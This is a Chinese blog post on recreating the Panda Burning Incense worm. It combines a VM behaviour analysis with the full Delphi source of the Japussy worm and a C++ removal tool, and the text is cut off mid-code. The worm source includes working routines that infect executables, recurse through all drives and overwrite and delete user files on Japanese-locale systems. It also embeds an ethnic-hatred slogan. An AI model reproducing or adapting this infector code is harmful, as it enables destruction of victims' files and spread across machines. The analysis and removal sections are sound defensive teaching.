自己手動復現一個熊貓燒香病毒
自己手動復現一個熊貓燒香病毒
起因
最近逛了一下 bilibili
,偶然的一次機會,我在 bilibili
上看到了某個 up
主分享了一個他自己仿照熊貓病毒的原型製作的一個病毒的演示視訊,雖然這個病毒的出現距離現在已經十多年之久了,但是它的威脅性仍然不亞於永恆之藍,出現了很多變種病毒。我覺得蠻有意思的,有必要深究一下,所以我花上幾天的時間研究了一下熊貓燒香病毒的原始碼,仿照熊貓燒香病毒原型,也製作了一個類似的軟體,實現的原始碼我會在文章的末尾給出 GitHub
專案連結,喜歡的朋友不要忘記給我一個 star and follow
呀!
熊貓燒香的介紹
熊貓燒香是一個感染性的蠕蟲病毒,它能感染系統中的 exe
, com
, pif
, src
, html
, asp
等檔案,它還能中止大量的反病毒軟體程序並且會刪除副檔名為 gho
的檔案,該檔案是一系統備份工具 GHOST
的備份檔案,使使用者的系統備份檔案丟失。被感染的使用者系統中所有的.exe可執行檔案圖示全部被改成熊貓燒香的圖示,如下圖所示:
如果有同學對熊貓燒香的來源感興趣的話,可以看看中科大寫的關於熊貓燒香的案件分析: ofollow,noindex" target="_blank">由“熊貓燒香”談起
病毒結構分析
從上述的流程圖中我們可以看到,含有病毒體的檔案被執行後,病毒將自身拷貝至系統目錄,同時修改登錄檔,將自身設定為開機啟動項,並遍歷各個驅動器,將自身寫入磁碟根目錄,增加一個 autorun.inf
檔案,使得使用者開啟該碟符時啟用病毒體。隨後病毒體開一個縣城進行本地檔案感染,同時開另外一個執行緒連線網站下載 DDoS
程式發起惡意攻擊。
具體行為分析
病毒的主要行為分為以下三部分:
-
自我保護與自我複製
-
感染
-
病毒自我保護
自我保護與自我複製行為就是複製自身到系統目錄、雙擊被感染程式可以檢測判斷 spcolsv.exe
是否存在,從被感染的檔案分裂出病毒程式重新執行。
感染的行為主要是感染全盤(本地)、定時器感染全盤(本地)、區域網感染(聯網)
病毒自我保護行為主要是設定登錄檔、停止殺軟、網站下載程式碼並執行。
我們一起來帶大家演示一下這個病毒吧~~~
環境準備
我們先看下下面這個操作
從上面這個操作,我們可以看到,我們開啟工作管理員的時候,當前我們工作管理員有49個程序,我們可以通過對比工作管理員就可以知道,病毒建立了哪些程序。我們運行了病毒程式以後,我們可以發現,工作管理員自動關閉了,我們再嘗試開啟工作管理員,我們會發現,我們無法開啟工作管理員,說明病毒程式已經對我們的系統造成了影響。
緊接著,我們還可以看到 Windows
安全中心服務已關閉,我們大概可以判斷出,病毒程式關閉了我們的防火牆。
那我們現在如何檢視當前系統的程序呢?
我們可以通過 cmd
調出命令提示符,輸入 tasklist
可以列出當前系統的程序,我們和之前的系統程序進行匹配,我們可以發現,多出了一個 spcolsv.exe
的程序,我們可以大膽地猜測,這個就是病毒所創建出來的程式。
我們行為分析主要用的是 Process Monitor
工具,我們用過濾功能篩選出 panda.exe
程序資訊,我們可以看到捕獲到了許多有關 panda.exe
的程序資訊。
我們可以先看下程序樹,我們可以看到,由 panda.exe
衍生出了一個名為 spcolsv.exe
的程式,檔案位置為 C:\Windows\system32\drivers\spcolsv.exe
,而這個程式又兩次打開了 cmd.exe
,我們可以看下這裡所執行的命令。
net share C$ /del /y
這條命令主要是刪除C盤的共享,由於我目前的虛擬機器中只有一個碟符C,所以我們有理由相信,如果病毒在真實機中執行,真實機中會有好幾個碟符的話,它應該會刪除所有碟符的共享。
net share admin$ /del /y
這條命令刪除了根目錄的共享。
看到這裡,我們可以總結出病毒的兩點行為:
-
病毒本身建立了名為
spcolsv.exe
的程序,該程序檔案的路徑為C:\WINDOWS\system32\drivers\spcolsv.exe
。 -
在命令列模式下使用
net share
命令來取消系統中的共享。
下面我們可以看下 Process Monitor
對病毒的監控
我們可以先看下對登錄檔的監控,我們通過篩選,似乎沒有發現很多有用的資訊,說明 panda.exe
對於登錄檔沒有什麼實質的影響
接下來我們可以看下對檔案的監控,由於檔案項有那麼多,我們就只關注對檔案的建立部分,我們通過篩選發現, panda.exe
檔案在 C:\WINDOWS\system32\drivers
中建立了 spcolsv.exe
,我們並沒有發現其他的東西,所以我們可以猜測,真正對系統產生影響的可能就是 spcolsv.exe
這個程式
所以我們下一步的操作應當是只監控 spcolsv.exe
這樣一個程式,這裡我們需要將程序名為 spcolsv.exe
的程序加入篩選器進行分析。一般來說,病毒所產生的操作會比較多,所以我在這裡為了便於討論,我每次只會列出幾項操作進行顯示,其它的操作就由篩選器排除掉。首先可以檢視一下 RegDeleteValue
這個操作:
可見病毒程式將當時幾乎所有的安全類工具的自啟動項給刪除了,我們可以得出病毒的第三點行為:
- 刪除安全類軟體在登錄檔中的啟動項
然後我們只保留 RegCreateKey
與 RegSetValue
進行分析
可見,病毒程式為自身建立了自啟動項,使得每次啟動計算機就會執行自身,因此我們可以得出病毒的第四點行為:
- 在登錄檔
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
中建立svcshare
,用於在開機時啟動位於C:\WINDOWS\system32\drivers\spcolsv.exe
的病毒程式
接下來我們可以看到,病毒程式對登錄檔的這個位置進行設定,能夠實現檔案的隱藏。此處進行設定後,即便在“資料夾選項”中選擇“顯示所有檔案和資料夾”,也無法顯示隱藏檔案。
我們可以得出病毒的第五點行為:
- 修改登錄檔,使得隱藏檔案無法通過普通的設定進行顯示,該位置為:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
,病毒將CheckedValue
的鍵值設定為了0。
至此,登錄檔部分就基本分析完畢了。
我們繼續看看檔案的監控,我們主要看的是病毒是否將自己複製到其他目錄,或者建立刪除了哪些檔案等。
在圖中可以看到,病毒檔案在 C:\WINDOWS\system32\drivers
中建立了 spcolsv.exe
這個檔案,在C盤根目錄下建立了 setup.exe
與 autorun.inf
,並且在一些目錄中建立了 Desktop_.ini
這個檔案。由於建立這些檔案之後就對登錄檔的 SHOWALL
項進行了設定,使得隱藏檔案無法顯示,那麼有理由相信,所創建出來的這些檔案的屬性都是“隱藏”的,我們可以得出病毒的兩點行為:
-
將自身拷貝到根目錄,並命名為
setup.exe
,同時建立autorun.inf
用於病毒的啟動,這兩個檔案的屬性都是“隱藏”。 -
在一些目錄中建立名為
Desktop_.ini
的隱藏檔案。
現在只進行網路監控,來檢視病毒是否有聯網動作
從監控結果可以看到,病毒會向 61.131.208.210
傳送並接收資訊,並不斷嘗試連線 192.168.152.X
即區域網中的其它計算機,我們可以總結出病毒的第八點行為:
- 向外發包,連線區域網中其他機器
原始碼分析
網上開源的程式碼絕大多數都是用 Delphi
編寫的
病毒檔案初始資訊如下:
program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432;//病毒體的大小 IconOffset = $12EB8;//PE檔案主圖示的偏移量 //在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同 //查詢2800000020的十六進位制字串可以找到主圖示的偏移量 { HeaderSize = 38912;//Upx壓縮過病毒體的大小 IconOffset = $92BC;//Upx壓縮過PE檔案主圖示的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize= $2E8;//PE檔案主圖示的大小--744位元組 IconTail= IconOffset + IconSize;//PE檔案主圖示的尾部 ID= $44444444;//感染標記
垃圾碼,以備寫入
//垃圾碼,以備寫入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函式宣告 var TmpFile: string; Si:STARTUPINFO; Pi:PROCESS_INFORMATION; IsJap:Boolean = False; //日文作業系統標記
判斷是否為 Win9x
{ 判斷是否為Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end;
在流之間複製
{ 在流之間複製 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end;
將宿主檔案從已感染的PE檔案中分離出來,以備使用
{ 將宿主檔案從已感染的PE檔案中分離出來,以備使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end;
填充 Startup Info
結構
{ 填充STARTUPINFO結構 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end;
髮帶毒郵件
{ 髮帶毒郵件 } procedure SendMail;//此處省略了帶危害性的程式碼 begin end;
感染 PE
檔案
{ 感染PE檔案 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出錯則檔案正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染 Exit; Infected := False; IsPE:= False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //檢查PE檔案頭 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記 begin IsPE := True; //是PE檔案 Break; end; end; SrcStream.Seek(-4, soFromEnd); //檢查感染標記 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的檔案不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染過了或不是PE檔案則退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染檔案的主圖示(744位元組),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //標頭檔案 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //寫入病毒體主圖示之前的資料 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //寫入目前程式的主圖示 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //寫入病毒體主圖示到病毒體尾部之間的資料 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //寫入宿主程式 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //寫入已感染的標記 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替換宿主檔案 DstStream.Free; end; except; end; end;
將目標檔案寫入垃圾碼後刪除
{ 將目標檔案寫入垃圾碼後刪除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性 FileHandle := FileOpen(FileName, fmOpenWrite); //開啟檔案 try Size := GetFileSize(FileHandle, nil); //檔案大小 i := 0; Randomize; Max := Random(15); //寫入垃圾碼的隨機次數 if Max < 5 then Max := 5; Mass := Size div Max; //每個間隔塊的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //寫入垃圾碼,將檔案徹底破壞掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //關閉檔案 end; DeleteFile(PChar(FileName)); //刪除之 except end; end;
獲得可寫的驅動器列表
{ 獲得可寫的驅動器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍歷26個字母 begin D := Chr(i + 65); Str := D + ':'; DiskType := GetDriveType(PChar(Str)); //得到本地磁碟和網路盤 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end;
遍歷目錄,感染和摧毀檔案
{ 遍歷目錄,感染和摧毀檔案 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and(SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目錄 else if (SearchRec.Attr = 16) and(SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目錄 else Result := 2; //是根目錄 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整訊息佇列,避免引起懷疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可執行檔案 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP檔案,將Base64編碼後的病毒寫入 //感染瀏覽此網頁的所有使用者 //哪位大兄弟願意完成之? end else if Ext = '.WAB' then //Outlook地址簿檔案 begin //獲取Outlook郵件地址 end else if Ext = '.ADC' then //Foxmail地址自動完成檔案 begin //獲取Foxmail郵件地址 end else if Ext = 'IND' then //Foxmail地址簿檔案 begin //獲取Foxmail郵件地址 end else begin if IsJap then //是倭文作業系統 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毀檔案 end; end; end; //感染或刪除一個檔案後睡眠200毫秒,避免CPU佔用率過高引起懷疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end;
遍歷磁碟上所有的檔案
{ 遍歷磁碟上所有的檔案 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文作業系統 IsJap := True; //去死吧! DriverList := GetDrives; //得到可寫的磁碟列表 Len := Length(DriverList); while True do //死迴圈 begin for i := Len downto 1 do //遍歷每個磁碟驅動器 LoopFiles(DriverList[i] + ':', '*.*'); //感染之 SendMail; //髮帶毒郵件 Sleep(1000 * 60 * 5); //睡眠5分鐘 end; end;
主程式開始
{ 主程式開始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //註冊為服務程序 else //WinNT begin //遠端執行緒對映到Explorer程序 //哪位兄臺願意完成之? end; //如果是原始病毒體自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和發郵件 else //已寄生於宿主程式上了,開始工作 begin TmpFile := ParamStr(0); //建立臨時檔案 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主檔案,多一個空格 ExtractFile(TmpFile); //分離之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //建立新程序執行之 InfectFiles; //感染和發郵件 end; end.
病毒的防護措施及解決方案
手工查殺
流程
1、排查可疑程序。因為病毒往往會創建出來一個或者多個程序,因此我們需要分辨出哪些程序是由病毒所建立,然後刪除可疑程序。
2、檢查啟動項。病毒為了實現自啟動,會採用一些方法將自己新增到啟動項中,從而實現自啟動,所以我們需要把啟動項中的病毒清除。
3、刪除病毒。檢查完啟動項後,我們基本就能夠確定病毒主體的位置,這樣,我們就可以順藤摸瓜,從根本上刪除病毒檔案。
4、修復被病毒破壞的檔案。這一步一般來說無法直接通過純手工完成,需利用相應的軟體來完成,這裡我們不做過多的深究。
環境準備
-
Windows 7 企業版
-
VMware Workstation 12
-
panda.exe
從行為分析中,我們可以知道,病毒創建出來的是一個名為 spcolsv.exe
的程序,我們現在的工作應該是殺掉這個程序。我們可以使用 taskkill /f /im PID
這個命令來殺掉這個程序。
-
/f 是強制刪除
-
/im 是指檔案的映象
-
PID 程序號
我們可以看到,程序被成功的終止,我們再通過 tasklist
檢視下當前的程序,我們可以發現, 4964
的程序被殺死了。
下面我們應該檢查一下系統的啟動項,我們輸入 msconfig
,我們可以看到 svshare
這個啟動項存在於 C:\Windows\System32\drivers\spcolsv.exe
中,並且我們還可以看到,它在登錄檔建立了一個鍵值,在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
下。
我們可以開啟登錄檔看一下,我們輸入 regedit
,我們可以看到在 C:\Windows\System32\drivers\spcolsv.exe
下面有個名稱為 svshare
的啟動項,我們將啟動項的 √
取消掉,點選確認,我們再重新整理一下注冊表,我們可以發現,登錄檔的啟動項消失了,說明我們已經完成了檢查啟動項的操作。
接下來我們要來刪除這個病毒,從剛才的操作中,我們已經知道了病毒所在的位置,我們開啟cmd命令提示符,病毒在 C:\Windows\System32\drivers
下,我們可以通過 dir spcolsv.exe
檢視當前目錄下是否存在 spcolsv.exe
檔案,我們可以看到是真實存在的,下面我們使用 del /f spcolsv.exe
強制刪除病毒檔案,我們再用 dir spcolsv.exe
檢視下這個檔案,我們可以看到病毒檔案已經是被刪除了,到這裡,我們刪除病毒的工作基本就做完了。
這個病毒不單單是將自身複製到了 drivers
目錄下,它還將自己複製到了每一個碟符的根目錄下。但是由於我 Windows 7
的碟符只有C盤,所以它會將其自身複製到了C盤的根目錄下,我們同樣是可以通過 dir
看一下。
我們在C盤根目錄下輸入 dir
,但是呢,我們發現這裡沒有病毒的程式,這個原因可能是因為病毒將自身設定為了隱藏,所以我們這裡應該通過 dir /ah
,這個命令是為了顯示隱藏的屬性檔案,這樣我們可以列出C盤目錄下所有隱藏屬性的檔案,我們可以看到有兩個檔案,一個是 autorun.inf
,這個是病毒程式所經常利用的,可以實現自啟動的一個程式,然後就是 panda.exe
,這個是病毒的本體程式,我們下面的工作是要刪除這兩個檔案。由於這兩個檔案是隱藏屬性的,因此我們在刪除的時候,應當加上 /ah
,所以我們使用 del /ah /f autorun.inf
和 del /ah /f setup.exe
兩個命令刪除這兩個檔案程式。
-
/a 屬性
-
/h 隱藏
或者我們可以直接通過 attrib -s -r -h 檔名稱
,來顯示檔案,再通過 del /f 檔名稱
來直接刪除檔案。
-
-s 消除系統屬性
-
-r 消除只讀屬性
-
-h 消除隱藏屬性
專殺工具的編寫
我們對於上面所描述的病毒行為的分析,可以歸納為以下幾點:
1、病毒本身建立了名為 spcolsv.exe
的程序,該程序檔案的路徑為 C:\WINDOWS\system32\drivers\spcolsv.exe
。
2、在命令列模式下使用 net share
命令來取消系統中的共享。
3、刪除安全類軟體在登錄檔中的啟動項。
4、在登錄檔 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
中建立 svcshare
,用於在開機時啟動位於 C:\WINDOWS\system32\drivers\spcolsv.exe
的病毒程式。
5、修改登錄檔,使得隱藏檔案無法通過普通的設定進行顯示,該位置為: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
,病毒將 CheckedValue
的鍵值設定為了0。
6、將自身拷貝到根目錄,並命名為 setup.exe
,同時建立 autorun.inf
用於病毒的啟動,這兩個檔案的屬性都是隱藏的。
7、在一些目錄中建立名為 Desktop_.ini
的隱藏檔案。
8、向外發包,連線區域網中其他機器。
如果使用批處理來防毒,因為它執行時沒有介面,因此我們往往不知道防毒程式究竟幹了些什麼,也不知道究竟有沒有查殺成功,這也凸顯了使用高階語言開發專殺工具的優勢。這裡我使用 MFC
進行“熊貓燒香”病毒專殺工具的開發,繪製介面如下圖所示:
那麼我們該如何編寫這個專殺工具呢?
我們編寫思路大致可以分為以下四部分:
-
計算病毒程式的雜湊值
-
查詢記憶體中的病毒程序
-
提升系統許可權
-
查詢並刪除
Desktop_.ini
計算病毒程式的雜湊值
在查殺病毒的技術中有一種方法類似於特徵碼查殺法,這種方法並不從病毒內提取特徵碼,而是計算病毒的雜湊值。利用這個雜湊值,就可以在查殺的過程中計算每個檔案的雜湊,然後進行比較。這種方法簡單易於實現,一般在病毒剛被發現時,在逆向分析前使用。常見的計算雜湊的演算法有 MD5
、 Sha-1
以及 CRC32
等。這裡使用 CRC32
演算法計算雜湊值:
DWORD CRC32(BYTE* ptr,DWORD Size) { DWORD crcTable[256],crcTmp1; //動態生成CRC-32表 for (int i=0; i<256; i++) { crcTmp1 = i; for (int j=8; j>0; j--) { if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L; else crcTmp1 >>= 1; } crcTable[i] = crcTmp1; } //計算CRC32值 DWORD crcTmp2= 0xFFFFFFFF; while(Size--) { crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ]; ptr++; } return (crcTmp2^0xFFFFFFFF); }
該函式的引數有兩個,一個是指向緩衝區的指標,第二個是緩衝區的長度。它將檔案全部讀入緩衝區中,然後用 CRC32
函式計算檔案的 CRC32
雜湊值,可以得到我所研究的“熊貓燒香”病毒的雜湊值為 0x89240FCD
。這裡請大家注意,不同版本的病毒的雜湊值是不同的,我所得出的這個值僅針對我所討論的這個版本的病毒。
查詢記憶體中的病毒程序
我們需要在記憶體中查詢病毒是否存在:
BOOL FindTargetProcess(char *pszProcessName,DWORD *dwPid) { BOOL bFind = FALSE; HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return bFind; } PROCESSENTRY32 pe = { 0 }; pe.dwSize = sizeof(pe); BOOL bRet = Process32First(hProcessSnap,&pe); while (bRet) { if (lstrcmp(pe.szExeFile,pszProcessName) == 0) { *dwPid = pe.th32ProcessID; bFind = TRUE; break; } bRet = Process32Next(hProcessSnap,&pe); } CloseHandle(hProcessSnap); return bFind; }
提升系統許可權
這裡還需要提升系統的許可權,提升成功後,當前程序就可以訪問一些受限的系統資源。
BOOL EnableDebugPrivilege(char *pszPrivilege) { HANDLE hToken = INVALID_HANDLE_VALUE; LUID luid; TOKEN_PRIVILEGES tp; BOOL bRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken); if (bRet == FALSE) { return bRet; } bRet = LookupPrivilegeValue(NULL,pszPrivilege,&luid); if (bRet == FALSE) { return bRet; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bRet = AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); return bRet; }
查詢並刪除 Desktop_.ini
病毒會在所有碟符下面的非系統目錄中建立名為 Desktop_.ini
的檔案,雖說這個檔案看似並不會對系統產生什麼危害,但是為了實現對“熊貓燒香”的徹底查殺,還是應當將其刪除的。這裡主要涉及兩方面的知識,一個是遍歷整個磁碟的檔案,這需要使用 FindFirstFile()
與 FindNextFile()
這兩個API函式,並採用遞迴呼叫的方法;另一個是修改檔案屬性,因為病毒創建出來的檔案會帶有系統、只讀和隱藏這三個屬性,若不對其進行更改,是無法刪除病毒檔案的。依照這個思想,編寫出如下程式碼:
DWORD WINAPI FindFiles(LPVOID lpszPath) { WIN32_FIND_DATA stFindFile; HANDLE hFindFile; // 掃描路徑 char szPath[MAX_PATH]; char szFindFile[MAX_PATH]; char szSearch[MAX_PATH]; char *szFilter; int len; int ret = 0; szFilter = "*.*"; lstrcpy(szPath, (char *)lpszPath); len = lstrlen(szPath); if(szPath[len-1] != '\') { szPath[len] = '\'; szPath[len+1] = '\0'; } lstrcpy(szSearch, szPath); lstrcat(szSearch,szFilter); hFindFile = FindFirstFile(szSearch, &stFindFile); if(hFindFile != INVALID_HANDLE_VALUE) { do { lstrcpy(szFindFile, szPath); lstrcat(szFindFile, stFindFile.cFileName); if(stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if(stFindFile.cFileName[0] != '.') { FindFiles(szFindFile); } } else { if(!lstrcmp(stFindFile.cFileName,"Desktop_.ini")) { // 去除檔案的隱藏、系統以及只讀屬性 DWORD dwFileAttributes = GetFileAttributes(szFindFile); dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM; dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY; SetFileAttributes(szFindFile, dwFileAttributes); // 刪除Desktop_.ini BOOL bRet = DeleteFile(szFindFile); csTxt += szFindFile; if (bRet) { csTxt += _T("被刪除!\r\n"); } else { csTxt += _T("無法刪除\r\n"); } } } ret = FindNextFile(hFindFile, &stFindFile); }while(ret != 0); } FindClose(hFindFile); return 0; }
需要說明的是,這裡需要在本程式前定義一個 CString
型別的 csTxt
全域性變數,用於將查殺的結果資訊輸出到程式介面,之後的程式中也會用到這個變數。
下面我們就可以寫主程式了,也就是"一鍵查殺"按鈕的實現:
void CKillWhBoyDlg::OnBtnKill() { // TODO: Add your control notification handler code here BOOL bRet = FALSE; DWORD dwPid = 0; /////////////////////////////////////////////////////////////////// //結束spoclsv.exe程序,並刪除病毒程式本身 /////////////////////////////////////////////////////////////////// bRet = FindTargetProcess("spoclsv.exe", &dwPid); if (bRet == TRUE) { csTxt = _T("檢查系統記憶體...\r\n"); csTxt += _T("系統中存在病毒程序:spoclsv.exe\r\n"); csTxt += _T("準備進行查殺...\r\n"); SetDlgItemText(IDC_LIST,csTxt); // 提升許可權 bRet = EnableDebugPrivilege(SE_DEBUG_NAME); if (bRet == FALSE) { csTxt += _T("提升許可權失敗\r\n"); } else { csTxt += _T("提升許可權成功!\r\n"); } SetDlgItemText(IDC_LIST,csTxt); // 開啟並嘗試結束病毒程序 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid); if (hProcess == INVALID_HANDLE_VALUE) { csTxt += _T("無法結束病毒程序\r\n"); return ; } bRet = TerminateProcess(hProcess,0); if (bRet == FALSE) { csTxt += _T("無法結束病毒程序\r\n"); return ; } csTxt += _T("病毒程序已經結束\r\n"); SetDlgItemText(IDC_LIST,csTxt); CloseHandle(hProcess); } else { csTxt += _T("系統中不存在spoclsv.exe病毒程序\r\n"); } Sleep(10); // 查殺磁碟中是否存在名為spoclsv.exe的病毒檔案 char szSysPath[MAX_PATH] = { 0 }; GetSystemDirectory(szSysPath,MAX_PATH); lstrcat(szSysPath,"\drivers\spoclsv.exe"); csTxt += _T("檢查硬碟中是否存在spoclsv.exe檔案...\r\n"); if (GetFileAttributes(szSysPath) == 0xFFFFFFFF) { csTxt += _T("spoclsv.exe病毒檔案不存在\r\n"); } else { csTxt += _T("spoclsv.exe病毒檔案存在,正在計算雜湊值\r\n"); HANDLE hFile = CreateFile(szSysPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if (hFile == INVALID_HANDLE_VALUE) { AfxMessageBox("Create Error"); return ; } DWORD dwSize = GetFileSize(hFile,NULL); if (dwSize == 0xFFFFFFFF) { AfxMessageBox("GetFileSize Error"); return ; } BYTE *pFile = (BYTE*)malloc(dwSize); if (pFile == NULL) { AfxMessageBox("malloc Error"); return ; } DWORD dwNum = 0; ReadFile(hFile,pFile,dwSize,&dwNum,NULL); // 計算spoclsv.exe的雜湊值 DWORD dwCrc32 = CRC32(pFile,dwSize); if (pFile != NULL) { free(pFile); pFile = NULL; } CloseHandle(hFile); // 0x89240FCD是“熊貓燒香”病毒的雜湊值 if (dwCrc32 != 0x89240FCD) { csTxt += _T("spoclsv.exe校驗和驗證失敗\r\n"); } else { csTxt += _T("spoclsv.exe校驗和驗證成功,正在刪除...\r\n"); // 去除檔案的隱藏、系統以及只讀屬性 DWORD dwFileAttributes = GetFileAttributes(szSysPath); dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM; dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY; SetFileAttributes(szSysPath, dwFileAttributes); // 刪除spoclsv.exe bRet = DeleteFile(szSysPath); if (bRet) { csTxt += _T("spoclsv.exe病毒被刪除!\r\n"); } else { csTxt += _T("spoclsv.exe病毒無法刪除\r\n"); } } } SetDlgItemText(IDC_LIST,csTxt); Sleep(10); /////////////////////////////////////////////////////////////////// //刪除每個碟符下的setup.exe與autorun.inf,以及Desktop_.ini /////////////////////////////////////////////////////////////////// char szDriverString[MAXBYTE] = { 0 }; char *pTmp = NULL; //獲取字串型別的驅動器列表 GetLogicalDriveStrings(MAXBYTE, szDriverString); pTmp = 